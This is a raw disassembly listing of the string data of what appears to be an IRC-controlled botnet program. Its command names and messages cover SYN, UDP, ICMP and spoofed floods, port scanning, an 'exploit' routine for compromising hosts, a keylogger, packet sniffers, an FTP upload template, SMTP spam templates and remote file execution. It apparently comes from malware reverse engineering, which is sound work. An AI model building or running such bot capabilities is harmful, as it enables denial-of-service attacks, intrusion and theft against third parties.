unk_42AA3C	db    3			; DATA XREF: sub_401ACD+5B4Bo
a81Sc@nSPortSca	db '8,1-SC@N- %s Port Scan started on %s:%d with a delay of %d second'
		db 's for %d minutes using %d threads.',0
		align 4
unk_42AAA4	db    3			; DATA XREF: sub_401ACD+59D5o
a81Sc@nFailed_0	db '8,1-SC@N- Failed to start scan, no IP specified.',0
		align 4
unk_42AAD8	db    3			; DATA XREF: sub_401ACD+5978o
a81Sc@nFailed_1	db '8,1-SC@N- Failed to start scan, port is invalid.',0
		align 4
unk_42AB0C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_407320o
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFileS	db '- Uploading file: %s to: %s failed.',0
		align 4
unk_42AB3C	db  2Dh	; -		; DATA XREF: sub_401ACD+584Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aUploadingFil_0	db '- Uploading file: %s to: %s',0
		align 4
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_401ACD+5835o
aSS_1		db '-s:%s',0            ; DATA XREF: sub_401ACD+581Eo
		align 4
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_401ACD+57FBo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_401ACD+57D7o
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_401ACD+57C6o
		align 4
unk_42ABAC	db  2Dh	; -		; DATA XREF: sub_401ACD+576Do
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 2
		db    3
aFileNotFoundS_	db '- File not found: %s.',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: sub_401ACD+574Ao
		align 4
unk_42ABD4	db    3			; DATA XREF: sub_401ACD+5714o
a81Sc@nAlreadyD	db '8,1-SC@N- Already %d scanning threads. Too many specified.',0
unk_42AC10	db  2Dh	; -		; DATA XREF: sub_401ACD+56B5o
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aFailedToStar_8	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42AC48	db  2Dh	; -		; DATA XREF: sub_401ACD+564Ao
		db 3, 34h, 2
		db  75h	; u
		db 64h,	70h, 2
		db    3
aSendingDPacket	db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 10h
unk_42AC90	db  2Dh	; -		; DATA XREF: sub_401ACD+5599o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aMessageHasBeen	db '- Message has been sent successfuly',0
		align 4
unk_42ACC4	db  2Dh	; -		; DATA XREF: sub_401ACD+5565o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aFailedToSendMe	db '- Failed to send message, error <%i>.',0
		align 4
unk_42ACF8	db  2Dh	; -		; DATA XREF: sub_401ACD+5541o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aNetsendDoesNot	db '- NetSend does not work on Win9x systems',0
		align 10h
unk_42AD30	db  2Dh	; -		; DATA XREF: sub_401ACD+549Fo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 73h
		db  65h	; e
		db 6Eh,	64h, 2
		db    3
aSendingMessage	db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5482o
		align 4
unk_42AD84	db  2Dh	; -		; DATA XREF: sub_401ACD+546Do
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_9	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42ADBC	db  2Dh	; -		; DATA XREF: sub_401ACD+53FEo
		db 3, 34h, 2
		db  70h	; p
		db 69h,	6Eh, 67h
		db    2
		db 3, 2Dh, 20h
aSendingDPingsT	db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
unk_42AE04	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406E1Do
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFlood_0	db '- Invalid flood time must be greater than 0.',0
		align 4
unk_42AE3C	db  2Dh	; -		; DATA XREF: sub_401ACD+5346o
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aFailedToSta_10	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42AE74	db  2Dh	; -		; DATA XREF: sub_401ACD+52CCo
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aSSFloodingSSFo	db '- %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_401ACD+52BCo
		align 10h
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_401ACD+52B5o
unk_42AEB8	db  2Dh	; -		; DATA XREF: sub_401ACD+521Ao
		db 3, 34h, 2
		db  74h	; t
		db 63h,	70h, 2
		db    3
aInvalidFloodTy	db '- Invalid flood type specified.',0
		align 4
aRandom_0	db 'random',0           ; DATA XREF: sub_401ACD+520Ao
		align 4
aAck		db 'ack',0              ; DATA XREF: sub_401ACD+51F3o
aHcon		db 'hcon',0             ; DATA XREF: sub_401ACD+517Fo
		align 4
aHttpcon	db 'httpcon',0          ; DATA XREF: sub_401ACD+516Co
unk_42AF00	db  2Dh	; -		; DATA XREF: sub_401ACD+511Do
		db 3, 34h, 2
		db  65h	; e
		db 6Dh,	61h, 69h
		db  6Ch	; l
		db 2, 3, 2Dh
aMessageSentToS	db ' Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_401ACD+50A9o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
aEmail		db 'email',0            ; DATA XREF: sub_401ACD+4FBEo
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_401ACD+4FA7o
aTcpflood	db 'tcpflood',0         ; DATA XREF: sub_401ACD+4F90o
		align 4
aVncHttpHostCha	db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401ACD+4F66o
		align 4
aVnchost	db 'vnchost',0          ; DATA XREF: sub_401ACD+4F48o
aP:					; DATA XREF: sub_401ACD+4F31o
					; ___:00438B40o
		unicode	0, <p>,0
aPing_0		db 'ping',0             ; DATA XREF: sub_401ACD+4F1Ao
		align 4
aPingflood	db 'pingflood',0        ; DATA XREF: sub_401ACD+4F03o
		align 4
aNs		db 'ns',0               ; DATA XREF: sub_401ACD+4EECo
		align 4
aNetsend	db 'netsend',0          ; DATA XREF: sub_401ACD+4ED5o
aU:					; DATA XREF: sub_401ACD+4EBEo
					; ___:00438B50o
		unicode	0, <u>,0
aUdp		db 'udp',0              ; DATA XREF: sub_401ACD+4EA7o
aUdpflood	db 'udpflood',0         ; DATA XREF: sub_401ACD+4E90o
		align 4
aAd		db 'ad',0               ; DATA XREF: sub_401ACD+4E79o
		align 4
aAdvscan	db 'advscan',0          ; DATA XREF: sub_401ACD+4E62o
aPsc		db 'psc',0              ; DATA XREF: sub_401ACD+4E4Bo
aPortscan	db 'portscan',0         ; DATA XREF: sub_401ACD+4E34o
		align 4
aC_a		db 'c_a',0              ; DATA XREF: sub_401ACD+4E0Eo
aC_action	db 'c_action',0         ; DATA XREF: sub_401ACD+4DF7o
		align 4
aC_pm		db 'c_pm',0             ; DATA XREF: sub_401ACD+4DE0o
		align 4
aC_privmsg	db 'c_privmsg',0        ; DATA XREF: sub_401ACD+4DC9o
		align 4
aSc		db 'sc',0               ; DATA XREF: sub_401ACD+4DB2o
		align 4
aScan		db 'scan',0             ; DATA XREF: sub_401ACD+4D9Bo
		align 4
aRd		db 'rd',0               ; DATA XREF: sub_401ACD+4D84o
		align 4
aRedirect	db 'redirect',0         ; DATA XREF: sub_401ACD+4D6Do
		align 4
aNazel3		db 'NAZEL3',0           ; DATA XREF: sub_401ACD+4D3Fo
					; sub_401ACD+4D56o
		align 4
aWonk		db 'wonk',0             ; DATA XREF: sub_401ACD+4D28o
		align 4
aPhatwonk	db 'phatwonk',0         ; DATA XREF: sub_401ACD+4D11o
		align 10h
dword_42B060	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4D04o
aFailedToSta_11	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42B09C	dd 234032Dh, 73796B73h,	3026E79h ; DATA	XREF: sub_401ACD+4C95o
aFloodingSSFo_1	db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn		db 'skysyn',0           ; DATA XREF: sub_401ACD+4C12o
		align 4
aSyn		db 'syn',0              ; DATA XREF: sub_401ACD+4BFBo
					; sub_401ACD+51DBo
aSynflood	db 'synflood',0         ; DATA XREF: sub_401ACD+4BE4o
		align 4
unk_42B0E4	db  2Dh	; -		; DATA XREF: sub_401ACD+4BD7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aFailedToSta_12	db '- Failed to start flood thread, error: <%d>.',0
		align 4
aWisdom_udp	db 'wisdom.udp',0       ; DATA XREF: sub_401ACD+4B00o
		align 10h
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_401ACD+4AE9o
					; sub_413694:loc_4137C0o
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_401ACD+4AD2o
					; sub_413694:loc_4137A4o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_401ACD+4ABBo
					; sub_413694+F1o
		align 4
aC:					; DATA XREF: sub_401ACD+4AA4o
					; ___:00438808o
		unicode	0, <c>,0
aClone_0	db 'clone',0            ; DATA XREF: sub_401ACD+4A8Do
		align 10h
aIcmp		db 'icmp',0             ; DATA XREF: sub_401ACD+4A64o
		align 4
aIcmpflood	db 'icmpflood',0        ; DATA XREF: sub_401ACD+4A4Do
		align 4
aMv		db 'mv',0               ; DATA XREF: sub_401ACD+4A36o
		align 4
aRename		db 'rename',0           ; DATA XREF: sub_401ACD+4A1Fo
		align 10h
aFf		db 'ff',0               ; DATA XREF: sub_401ACD+4A08o
		align 4
aFindfile	db 'findfile',0         ; DATA XREF: sub_401ACD+49F1o
		align 10h
aE:					; DATA XREF: sub_401ACD+49DAo
					; ___:004387C0o
		unicode	0, <e>,0
aExecute	db 'execute',0          ; DATA XREF: sub_401ACD+49C3o
aHadeth3	db 'HADETH3',0          ; DATA XREF: sub_401ACD+4995o
					; sub_401ACD+49ACo
aDe		db 'de',0               ; DATA XREF: sub_401ACD+497Eo
		align 4
aDelay		db 'delay',0            ; DATA XREF: sub_401ACD+4967o
		align 10h
aRp		db 'rp',0               ; DATA XREF: sub_401ACD+4950o
		align 4
aRepeat		db 'repeat',0           ; DATA XREF: sub_401ACD+4939o
					; sub_401ACD+6B0Co
		align 4
aTsn		db 'tsn',0              ; DATA XREF: sub_401ACD+4922o
aTsunami	db 'tsunami',0          ; DATA XREF: sub_401ACD+490Bo
aT3		db 't3',0               ; DATA XREF: sub_401ACD+48F4o
		align 4
aTarga3		db 'targa3',0           ; DATA XREF: sub_401ACD+48DDo
		align 4
aC_p		db 'c_p',0              ; DATA XREF: sub_401ACD+48C6o
aC_part		db 'c_part',0           ; DATA XREF: sub_401ACD+48AFo
		align 10h
aC_j		db 'c_j',0              ; DATA XREF: sub_401ACD+4898o
aC_join		db 'c_join',0           ; DATA XREF: sub_401ACD+4881o
		align 4
aC_n		db 'c_n',0              ; DATA XREF: sub_401ACD+486Ao
aC_nick		db 'c_nick',0           ; DATA XREF: sub_401ACD+4853o
		align 4
aC_m		db 'c_m',0              ; DATA XREF: sub_401ACD+483Co
aC_mode		db 'c_mode',0           ; DATA XREF: sub_401ACD+4825o
		align 4
aC_r		db 'c_r',0              ; DATA XREF: sub_401ACD+480Eo
aC_raw		db 'c_raw',0            ; DATA XREF: sub_401ACD+47F7o
		align 10h
aM:					; DATA XREF: sub_401ACD+47E0o
					; ___:00438818o ...
		unicode	0, <m>,0
aCy		db 'cy',0               ; DATA XREF: sub_401ACD+47B2o
		align 4
aCycle		db 'cycle',0            ; DATA XREF: sub_401ACD+479Bo
		align 10h
aA:					; DATA XREF: sub_401ACD+4784o
		unicode	0, <a>,0
aAction		db 'action',0           ; DATA XREF: sub_401ACD+476Do
		align 4
aPrivmsg_0	db 'privmsg',0          ; DATA XREF: sub_401ACD+473Fo
aAa		db 'aa',0               ; DATA XREF: sub_401ACD+4728o
		align 4
aAddalias	db 'addalias',0         ; DATA XREF: sub_401ACD+4711o
		align 4
aKl		db 'kl',0               ; DATA XREF: sub_401ACD+46FAo
		align 4
aKilllog	db 'killlog',0          ; DATA XREF: sub_401ACD+46E3o
aGh		db 'gh',0               ; DATA XREF: sub_401ACD+46BAo
		align 4
aGethost	db 'gethost',0          ; DATA XREF: sub_401ACD+46A3o
unk_42B25C	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406163o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aCommandUnknown	db '- Command unknown.',0
unk_42B278	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406159o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aNoMessageSpeci	db '- No message specified.',0
		align 4
aSend		db 'send',0             ; DATA XREF: sub_401ACD+465Bo
					; sub_409909+5F0o
		align 4
unk_42B2A4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40611Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListFailed	db '- User list failed.',0
		align 4
unk_42B2C4	db  2Dh	; -		; DATA XREF: sub_401ACD+4646o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListComple	db '- User list completed.',0
unk_42B2E4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_406091o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListFaile	db '- Share list failed.',0
		align 4
unk_42B304	db  2Dh	; -		; DATA XREF: sub_401ACD+45BAo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListCompl	db '- Share list completed.',0
		align 4
aShare		db 'share',0            ; DATA XREF: sub_401ACD+4567o
		align 10h
aContinue	db 'continue',0         ; DATA XREF: sub_401ACD+4527o
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_401ACD+450Fo
		align 4
unk_42B344	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405FB9o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListFai	db '- Service list failed.',0
unk_42B364	db  2Dh	; -		; DATA XREF: sub_401ACD+44E2o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aServiceListCom	db '- Service list completed.',0
		align 4
aStart		db 'start',0            ; DATA XREF: sub_401ACD+44ABo
		align 10h
unk_42B390	db  2Dh	; -		; DATA XREF: sub_401ACD+4478o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aFailedToLoadAd	db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet		db 'net',0              ; DATA XREF: sub_401ACD+4454o
aStop		db 'stop',0             ; DATA XREF: sub_401ACD+4426o
					; sub_401ACD+443Do ...
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: sub_401ACD+440Fo
		align 4
aKeyloger	db 'keyloger',0         ; DATA XREF: sub_401ACD+43F8o
		align 4
dword_42B3E8	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD:loc_405EB8o
aNoThreadFound_	db '- No thread found.',0
		align 4
dword_42B408	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43E1o
aServerStopped_	db '- Server stopped. (%d thread(s) stopped.)',0
		align 10h
dword_42B440	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+43B3o
aFailedToSta_13	db '- Failed to start server, error: <%d>.',0
		align 4
dword_42B474	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4366o
aServerRunnin_0	db '- Server running on Port: 113.',0
		align 10h
dword_42B4A0	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_401ACD+4356o
aAlreadyRunning	db '- Already running.',0
		align 10h
aIdent		db 'ident',0            ; DATA XREF: sub_401ACD+4325o
		align 4
unk_42B4C8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_405DE5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoVrxSnifferTh	db '- No VrX sniffer thread found.',0
unk_42B4F4	db  2Dh	; -		; DATA XREF: sub_401ACD+430Eo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVrxSnifferStop	db '- VrX sniffer stopped. (%d thread(s) stopped.)',0
unk_42B530	db  2Dh	; -		; DATA XREF: sub_401ACD+42E0o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_14	db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B56C	db  2Dh	; -		; DATA XREF: sub_401ACD+4271o
		db 3, 34h, 2
		db  53h	; S
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVrxPacketSniff	db '- VrX packet sniffer active.',0
		align 4
unk_42B598	db  2Dh	; -		; DATA XREF: sub_401ACD+420Ao
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_0	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: sub_401ACD+41D5o
dword_42B5C0	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD:loc_405C95o
aNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 4
dword_42B5EC	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+41BEo
aCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
dword_42B628	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4190o
aFailedToSta_15	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_42B664	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+4121o
aCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_42B694	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_401ACD+40BAo
aAlreadyRunni_1	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_401ACD+409Ao
					; sub_401ACD+41EAo ...
		align 4
aPsniff		db 'psniff',0           ; DATA XREF: sub_401ACD+4085o
		align 10h
aRf		db 'rf',0               ; DATA XREF: sub_401ACD+406Eo
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: sub_401ACD+4057o
		align 10h
aCm		db 'cm',0               ; DATA XREF: sub_401ACD+4040o
		align 4
aCmd		db 'cmd',0              ; DATA XREF: sub_401ACD+4029o
aMirc		db 'mirc',0             ; DATA XREF: sub_401ACD+4012o
		align 10h
aMirccmd	db 'mirccmd',0          ; DATA XREF: sub_401ACD+3FFBo
aV:					; DATA XREF: sub_401ACD+3FE4o
					; ___:0043880Co ...
		unicode	0, <v>,0
aVisit		db 'visit',0            ; DATA XREF: sub_401ACD+3FCDo
		align 4
aLi		db 'li',0               ; DATA XREF: sub_401ACD+3FB6o
		align 4
aList		db 'list',0             ; DATA XREF: sub_401ACD+3F9Fo
		align 10h
aGt		db 'gt',0               ; DATA XREF: sub_401ACD+3F88o
		align 4
aDel		db 'del',0              ; DATA XREF: sub_401ACD+3F5Ao
aDelete		db 'delete',0           ; DATA XREF: sub_401ACD+3F43o
					; sub_401ACD+453Fo
		align 10h
aKi		db 'ki',0               ; DATA XREF: sub_401ACD+3F2Co
		align 4
aKill		db 'kill',0             ; DATA XREF: sub_401ACD+3F15o
		align 4
aKp		db 'kp',0               ; DATA XREF: sub_401ACD+3EFEo
		align 10h
aKillproc	db 'killproc',0         ; DATA XREF: sub_401ACD+3EE7o
		align 4
aDn		db 'dn',0               ; DATA XREF: sub_401ACD+3ED0o
		align 10h
aDns		db 'dns',0              ; DATA XREF: sub_401ACD+3EB9o
aSe		db 'se',0               ; DATA XREF: sub_401ACD+3EA2o
		align 4
aO:					; DATA XREF: sub_401ACD+3E74o
					; ___:00438B3Co
		unicode	0, <o>,0
aOpen		db 'open',0             ; DATA XREF: sub_401ACD+3E5Do
					; sub_401ACD+583Ao ...
		align 4
aPr		db 'pr',0               ; DATA XREF: sub_401ACD+3E46o
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: sub_401ACD+3E2Fo
		align 10h
aC_rn		db 'c_rn',0             ; DATA XREF: sub_401ACD+3E18o
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: sub_401ACD+3E01o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: sub_401ACD+3DEAo
aC_quit		db 'c_quit',0           ; DATA XREF: sub_401ACD+3DD3o
		align 10h
aK:					; DATA XREF: sub_401ACD+3DBCo
		unicode	0, <k>,0
aKillthread	db 'killthread',0       ; DATA XREF: sub_401ACD+3DA5o
		align 10h
aRaw		db 'raw',0              ; DATA XREF: sub_401ACD+3D77o
aPt		db 'pt',0               ; DATA XREF: sub_401ACD+3D60o
		align 4
aJ:					; DATA XREF: sub_401ACD+3D32o
		unicode	0, <j>,0
aN:					; DATA XREF: sub_401ACD+3D04o
					; ___:00438814o ...
		unicode	0, <n>,0
unk_42B790	db  2Dh	; -		; DATA XREF: sub_401ACD+3CCFo
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 4
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C66o
aRegister	db 'register',0         ; DATA XREF: sub_401ACD+3C3Do
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: sub_401ACD+3BE2o
		align 4
aMix		db 'mix',0              ; DATA XREF: sub_401ACD+3B0Do
dword_42B7F0	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: sub_401ACD+3AB7o
					; sub_401ACD+3AF2o
		dd 0
dword_42B808	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: sub_401ACD+3A7Co
		dd 1
dword_42B820	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: sub_401ACD+3A41o
					; sub_401ACD+3B62o
aCtcp		db 'ctcp',0             ; DATA XREF: sub_401ACD+39ECo
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: sub_401ACD+3951o
					; sub_401ACD+3991o ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: sub_401ACD+38F7o
		align 4
aMsg		db 'msg',0              ; DATA XREF: sub_401ACD+3802o
aChgnick	db 'chgnick',0          ; DATA XREF: sub_401ACD+37BDo
aNick_0		db 'nick',0             ; DATA XREF: sub_401ACD+36B5o
					; sub_401ACD+3CEDo
		align 4
dword_42B868	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: sub_401ACD+369Ao
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42B890	dd 636364h		; DATA XREF: sub_401ACD+361Do
dword_42B894	dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+34C6o
dword_42B8A0	dd 4B43494Eh, 732520h	; DATA XREF: sub_401ACD+34ABo
					; sub_401ACD+3712o ...
dword_42B8A8	dd 69257325h, 0		; DATA XREF: sub_401ACD+3490o
					; sub_40AAAC+4Fo ...
aPnick		db 'pnick',0            ; DATA XREF: sub_401ACD+344Fo
		align 4
aPartSS		db 'part %s %s',0       ; DATA XREF: sub_401ACD+3434o
					; sub_401ACD+3520o ...
		align 4
aPartflood	db 'partflood',0        ; DATA XREF: sub_401ACD+340Do
		align 10h
aPartS		db 'part %s',0          ; DATA XREF: sub_401ACD+33F2o
aPart_0		db 'part',0             ; DATA XREF: sub_401ACD+33D0o
					; sub_401ACD+3D49o
		align 10h
aJoinS		db 'join %s',0          ; DATA XREF: sub_401ACD+33B5o
					; sub_401ACD+34F4o ...
aJoin		db 'join',0             ; DATA XREF: sub_401ACD+3393o
					; sub_401ACD+3D1Bo
		align 10h
aModeSS		db 'mode %s %s',0       ; DATA XREF: sub_401ACD+3378o
		align 4
aMode		db 'mode',0             ; DATA XREF: sub_401ACD+3329o
					; sub_401ACD+47C9o
		align 4
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: sub_401ACD+330Eo
		align 4
aNt		db 'nt',0               ; DATA XREF: sub_401ACD+32BFo
		align 4
dword_42B918	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: sub_401ACD+32A4o
dword_42B92C	dd 7463h		; DATA XREF: sub_401ACD+3255o
dword_42B930	dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+323Ao
					; sub_401ACD+385Co ...
dword_42B940	dd 5Fh			; DATA XREF: sub_401ACD+320Bo
					; sub_401ACD+3275o ...
dword_42B944	dd 6D70h		; DATA XREF: sub_401ACD+31EBo
					; sub_401ACD+4756o
unk_42B948	db  2Dh	; -		; DATA XREF: sub_401ACD+31BBo
		db 3, 34h, 2
		db  56h	; V
		db 72h,	58h, 20h
		db  46h	; F
		db 6Ch,	2 dup(6Fh)
		db  64h	; d
		db 2, 3, 2Dh
aSClonesLoadedT	db ' %s clones loaded to %s:%s',0
		align 4
aLoad		db 'load',0             ; DATA XREF: sub_401ACD+3164o
		align 4
aFlood		db 'flood',0            ; DATA XREF: sub_401ACD+3143o
		align 4
aRinms		db 'rinms',0            ; DATA XREF: sub_401ACD+312Co
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: sub_401ACD+3115o
aRin		db 'rin',0              ; DATA XREF: sub_401ACD+30FEo
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: sub_401ACD+30E7o
		align 10h
unk_42B9B0	db  2Dh	; -		; DATA XREF: sub_401ACD+30DAo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 10h
unk_42B9F0	db  2Dh	; -		; DATA XREF: sub_401ACD+3068o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 10h
aExploit	db 'exploit',0          ; DATA XREF: sub_401ACD+2FE1o
unk_42BA28	db  2Dh	; -		; DATA XREF: sub_401ACD+2FC5o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 4
unk_42BA54	db  2Dh	; -		; DATA XREF: sub_401ACD+2FA7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: sub_401ACD+2F83o
		align 4
unk_42BA94	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4049F7o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: sub_401ACD:loc_4049D9o
					; sub_401ACD+3F71o
unk_42BAD0	db    3			; DATA XREF: sub_401ACD+2E9Ao
a81VrxInvalidLo	db '8,1-VrX- Invalid login slot number: %d.',0
		align 4
unk_42BAFC	db    3			; DATA XREF: sub_401ACD+2E8Fo
a81VrxNoUserLog	db '8,1-VrX- No user logged in at slot: %d.',0
		align 4
dword_42BB28	dd 312C3803h, 5872562Dh, 7325202Dh, 0 ;	DATA XREF: sub_401ACD+2E3Ao
unk_42BB38	db    3			; DATA XREF: sub_401ACD:loc_4048F8o
a81VrxPoweredBy	db '8,1-VrX- Powered By VIrUs & zerX! zerX.Virus Rules! (VIrUs@Power-'
		db 'Hackers.com).',0
dword_42BB88	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_401ACD+2E08o
aFailedToSta_16	db '- Failed to start secure thread, error: <%d>.',0
		align 4
